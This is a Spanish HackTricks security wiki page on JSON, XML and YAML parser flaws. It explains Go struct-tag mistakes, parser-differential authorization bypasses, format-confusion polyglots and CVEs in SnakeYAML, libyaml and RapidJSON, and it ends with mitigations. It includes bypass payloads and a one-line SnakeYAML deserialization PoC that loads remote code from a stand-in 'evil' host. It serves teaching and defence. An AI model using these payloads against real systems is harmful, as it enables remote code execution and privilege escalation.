JSON, XML & Yaml Hacking & Issues

Reading time: 6 minutes

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Go JSON Decoder

Se detectaron los siguientes problemas en el Go JSON, aunque también podrían estar presentes en otros lenguajes. Estos problemas se publicaron en esta entrada de blog.

Los analizadores JSON, XML y YAML de Go tienen una larga trayectoria de inconsistencias y configuraciones inseguras que pueden ser abusadas para eludir la autenticación, escalar privilegios o exfiltrar datos sensibles.

(Un)Marshaling Datos Inesperados

El objetivo es explotar estructuras que permiten a un atacante leer/escribir campos sensibles (por ejemplo, IsAdmin, Password).

  • Example Struct:
go
type User struct {
Username string `json:"username,omitempty"`
Password string `json:"password,omitempty"`
IsAdmin  bool   `json:"-"`
}
  • Vulnerabilidades Comunes
  1. Etiqueta faltante (sin etiqueta = el campo aún se analiza por defecto):
go
type User struct {
Username string
}

Carga útil:

json
{"Username": "admin"}
  1. Uso incorrecto de -:
go
type User struct {
IsAdmin bool `json:"-,omitempty"` // ❌ wrong
}

Carga útil:

json
{"-": true}

✔️ Forma adecuada de bloquear un campo para que no sea (des)serializado:

go
type User struct {
IsAdmin bool `json:"-"`
}

Diferenciales de Parser

El objetivo es eludir la autorización aprovechando cómo diferentes parsers interpretan la misma carga útil de manera diferente, como en:

  • CVE-2017-12635: elusión de Apache CouchDB a través de claves duplicadas
  • 2022: RCE de 0 clics de Zoom a través de la inconsistencia del parser XML
  • elusión de SAML de GitLab 2025 a través de peculiaridades de XML

1. Campos Duplicados: El encoding/json de Go toma el último campo.

go
json.Unmarshal([]byte(`{"action":"UserAction", "action":"AdminAction"}`), &req)
fmt.Println(req.Action) // AdminAction

Otros analizadores (por ejemplo, Jackson de Java) pueden tomar el primero.

2. Insensibilidad a mayúsculas y minúsculas: Go es insensible a mayúsculas y minúsculas:

go
json.Unmarshal([]byte(`{"AcTiOn":"AdminAction"}`), &req)
// matches `Action` field

Incluso los trucos de Unicode funcionan:

go
json.Unmarshal([]byte(`{"aKtionſ": "bypass"}`), &req)

3. Desajuste entre servicios: Imagina:

  • Proxy escrito en Go
  • Servicio de AuthZ escrito en Python

El atacante envía:

json
{
"action": "UserAction",
"AcTiOn": "AdminAction"
}
  • Python ve UserAction, lo permite
  • Go ve AdminAction, lo ejecuta

Confusión de Formato de Datos (Políglotas)

El objetivo es explotar sistemas que mezclan formatos (JSON/XML/YAML) o que fallan abiertamente en errores de análisis como:

  • CVE-2020-16250: HashiCorp Vault analizó JSON con un analizador XML después de que STS devolviera JSON en lugar de XML.

El atacante controla:

  • El encabezado Accept: application/json
  • Control parcial del cuerpo JSON

El analizador XML de Go lo analizó de todos modos y confió en la identidad inyectada.

  • Carga útil elaborada:
json
{
"action": "Action_1",
"AcTiOn": "Action_2",
"ignored": "<?xml version=\"1.0\"?><Action>Action_3</Action>"
}
  • Go JSON parser: Action_2 (sin distinción entre mayúsculas y minúsculas + el último gana)
  • YAML parser: Action_1 (sensible a mayúsculas)
  • XML parser: analiza "Action_3" dentro de la cadena

Vulnerabilidades Notables de los Parsers (2023-2025)

Los siguientes problemas explotables públicamente muestran que el análisis inseguro es un problema multilenguaje, no solo un problema de Go.

Deserialización RCE de SnakeYAML (CVE-2022-1471)

  • Afecta: org.yaml:snakeyaml < 2.0 (utilizado por Spring-Boot, Jenkins, etc.).
  • Causa raíz: new Constructor() deserializa clases Java arbitrarias, permitiendo cadenas de gadgets que culminan en ejecución de código remoto.
  • PoC de una línea (abrirá la calculadora en el host vulnerable):
yaml
!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://evil/"] ] ] ]
  • Fix / Mitigación:
  1. Actualizar a ≥2.0 (usa SafeLoader por defecto).
  2. En versiones anteriores, usar explícitamente new Yaml(new SafeConstructor()).

libyaml Doble Liberación (CVE-2024-35325)

  • Afecta: libyaml ≤0.2.5 (biblioteca C utilizada por muchos enlaces de lenguaje).
  • Problema: Llamar a yaml_event_delete() dos veces conduce a una doble liberación que los atacantes pueden convertir en DoS o, en algunos escenarios, explotación de heap.
  • Estado: Rechazado por upstream como “uso indebido de la API”, pero las distribuciones de Linux enviaron un 0.2.6 parcheado que libera el puntero a null de manera defensiva.

RapidJSON Entero (Sub|Sobre)-flujo (CVE-2024-38517 / CVE-2024-39684)

  • Afecta: Tencent RapidJSON antes del commit 8269bc2 (<1.1.0-patch-22).
  • Error: En GenericReader::ParseNumber() la aritmética no verificada permite a los atacantes crear literales numéricos enormes que se envuelven y corrompen el heap, lo que finalmente habilita la escalación de privilegios cuando el gráfico de objetos resultante se utiliza para decisiones de autorización.

🔐 Mitigaciones (Actualizado)

RiesgoFix / Recomendación
Campos desconocidos (JSON)decoder.DisallowUnknownFields()
Campos duplicados (JSON)❌ Sin solución en stdlib — validar con jsoncheck
Coincidencia sin distinción de mayúsculas (Go)❌ Sin solución — validar etiquetas de estructura + pre-canonizar entrada
Datos basura XML / XXEUsar un analizador endurecido (encoding/xml + DisallowDTD)
Claves desconocidas YAMLyaml.KnownFields(true)
Deserialización YAML inseguraUsar SafeConstructor / actualizar a SnakeYAML ≥2.0
libyaml ≤0.2.5 doble liberaciónActualizar a 0.2.6 o versión parcheada de la distro
RapidJSON <commit parcheadoCompilar contra la última versión de RapidJSON (≥Julio 2024)

Referencias

  • Baeldung – “Resolviendo CVE-2022-1471 Con SnakeYAML 2.0”
  • Ubuntu Security Tracker – CVE-2024-35325 (libyaml)

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks